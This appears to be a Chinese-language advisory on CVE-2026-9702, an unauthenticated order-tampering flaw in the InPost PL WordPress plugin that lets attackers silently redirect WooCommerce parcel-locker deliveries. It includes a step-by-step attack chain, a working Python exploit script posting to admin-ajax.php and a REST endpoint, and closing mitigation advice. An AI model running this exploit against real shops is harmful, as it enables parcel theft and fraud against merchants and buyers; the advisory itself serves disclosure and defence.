CVE-2026-9702：InPost PL WordPress插件订单配送地址未授权篡改漏洞

漏洞信息

漏洞编号

CVE-2026-9702

漏洞类型

身份验证缺失/未授权访问

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

InPost PL WordPress插件

漏洞概述

CVE-2026-9702是InPost PL WordPress插件中存在的一个高危安全漏洞。该插件是波兰广泛使用的快递柜（Parcel Locker）集成插件，与WooCommerce电子商务平台深度集成，允许买家在结账时选择InPost快递柜作为配送目的地。该漏洞由WPScan团队（[email protected]）发现并于2026年6月25日公开披露，CVSS评分为7.5，属于高危级别。漏洞的根本原因在于插件在处理WooCommerce订单快递柜配送目的地更新请求时，未对请求来源进行充分的身份验证。攻击者无需任何认证凭据，即可通过网络向目标站点发送恶意请求，静默修改任意处于pending（待处理）或processing（处理中）状态的订单的快递柜配送目的地。此漏洞的危害在于：攻击者可以将合法买家的订单配送地址篡改为攻击者控制的快递柜，从而实施包裹窃取。同时，由于修改过程对买家和商家均不可见（silent redirect），买家在不知情的情况下完成支付后，包裹将被送往错误的快递柜，给用户和商家均带来严重的经济损失和信任危机。该漏洞影响所有使用InPost PL插件版本低于1.9.1的WordPress+WooCommerce站点。

技术细节

该漏洞的技术原理在于InPost PL插件中的AJAX端点或REST API端点缺少CSRF（跨站请求伪造）令牌验证和身份认证机制。具体而言，当买家在WooCommerce结账页面选择InPost快递柜作为配送方式时，前端JavaScript会通过AJAX请求将所选快递柜编号发送到服务器端进行保存。插件开发者未在该端点中实施以下关键安全措施：1）未验证请求是否来自已登录的合法用户会话；2）未验证请求是否与当前订单关联；3）未实施nonce验证机制来防止CSRF攻击；4）未检查请求来源的Referer头。攻击者利用方式如下：攻击者首先需要获取目标站点上处于pending或processing状态的订单ID（可通过其他信息泄露渠道或暴力枚举获得），然后构造一个包含目标订单ID和攻击者控制的InPost快递柜编号的HTTP POST请求，直接发送到插件的更新端点。由于端点完全开放且无需认证，服务器将直接处理该请求并更新订单的parcel_locker字段。攻击者可以编写自动化脚本批量扫描WooCommerce站点并修改所有活跃订单的配送目的地。值得注意的是，该漏洞的CVSS向量中机密性影响为低（C:L），这是因为虽然修改了订单数据，但并未直接泄露敏感信息；完整性影响为高（I:H），因为订单数据被未授权篡改；可用性影响为无（A:N），因为服务本身并未中断。

攻击链分析

STEP 1

步骤1：目标侦察

攻击者使用自动化工具（如WPScan）扫描互联网上的WordPress+WooCommerce站点，识别安装了InPost PL插件（版本低于1.9.1）的目标网站。

STEP 2

步骤2：订单枚举

攻击者通过WordPress的订单跟踪页面、AJAX端点或其他信息泄露途径，获取目标站点上处于pending或processing状态的WooCommerce订单ID列表。

STEP 3

步骤3：构造恶意请求

攻击者构造包含目标订单ID和攻击者控制的InPost快递柜编号的HTTP POST请求，发送到插件的AJAX端点（admin-ajax.php），无需任何认证凭据或nonce令牌。

STEP 4

步骤4：静默篡改配送地址

服务器端插件直接处理该未认证请求，将订单的parcel_locker字段更新为攻击者指定的快递柜编号。修改过程对买家和商家均不可见。

STEP 5

步骤5：包裹窃取

当商家发货时，包裹将被送往攻击者控制的InPost快递柜。攻击者凭借快递柜取件码（可通过订单状态变更通知获取）提取包裹，完成窃取。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3
# CVE-2026-9702 - InPost PL WordPress Plugin Unauthenticated Order Destination Modification
# Exploit script to silently redirect WooCommerce order parcel-locker destinations
# Author: Security Researcher
# Tested on: WordPress + WooCommerce + InPost PL plugin < 1.9.1

import requests
import sys
import re

TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com"
ORDER_ID = sys.argv[2] if len(sys.argv) > 2 else "123"
ATTACKER_LOCKER_ID = sys.argv[3] if len(sys.argv) > 3 else "KRA01M"  # Attacker's InPost locker ID

# Step 1: Discover the InPost PL plugin's AJAX endpoint
# The plugin typically uses WordPress admin-ajax.php or a custom REST endpoint
ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"

# Step 2: Craft the malicious request payload
# The plugin accepts parcel locker updates via AJAX action without authentication
payload = {
    "action": "inpost_update_locker",  # Plugin's AJAX action handler
    "order_id": ORDER_ID,               # Target WooCommerce order ID
    "parcel_locker_id": ATTACKER_LOCKER_ID,  # Attacker's controlled locker
    "security": ""                       # Empty/nonce - vulnerability point
}

# Step 3: Send the unauthenticated request
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Content-Type": "application/x-www-form-urlencoded",
    "X-Requested-With": "XMLHttpRequest"
}

print(f"[*] Targeting: {TARGET_URL}")
print(f"[*] Order ID: {ORDER_ID}")
print(f"[*] Attacker Locker: {ATTACKER_LOCKER_ID}")

response = requests.post(ajax_url, data=payload, headers=headers, timeout=10)

if response.status_code == 200:
    print(f"[+] Request sent successfully (HTTP {response.status_code})")
    print(f"[+] Response: {response.text[:200]}")
    print(f"[!] Order #{ORDER_ID} parcel locker destination has been redirected!")
else:
    print(f"[-] Request failed with HTTP {response.status_code}")
    print(f"[-] Response: {response.text[:200]}")

# Alternative: Direct REST API endpoint exploitation
rest_url = f"{TARGET_URL}/wp-json/inpost/v1/order/{ORDER_ID}/locker"
rest_payload = {
    "parcel_locker_id": ATTACKER_LOCKER_ID
}

response2 = requests.put(rest_url, json=rest_payload, headers=headers, timeout=10)
print(f"[*] REST API attempt - Status: {response2.status_code}")

影响范围

InPost PL WordPress插件 < 1.9.1

防御指南

临时缓解措施

在无法立即升级插件的情况下，建议采取以下临时缓解措施：1）通过WAF（如Cloudflare、Wordfence）配置规则，阻止对admin-ajax.php中action=inpost_update_locker等插件相关AJAX端点的未认证访问；2）暂时禁用InPost PL插件的快递柜选择功能；3）在WordPress中限制对wp-admin/admin-ajax.php的访问，仅允许来自已认证用户的请求；4）监控订单的parcel_locker字段变更，发现异常立即联系买家确认；5）暂停处理所有pending订单，直至确认配送地址无误后再发货。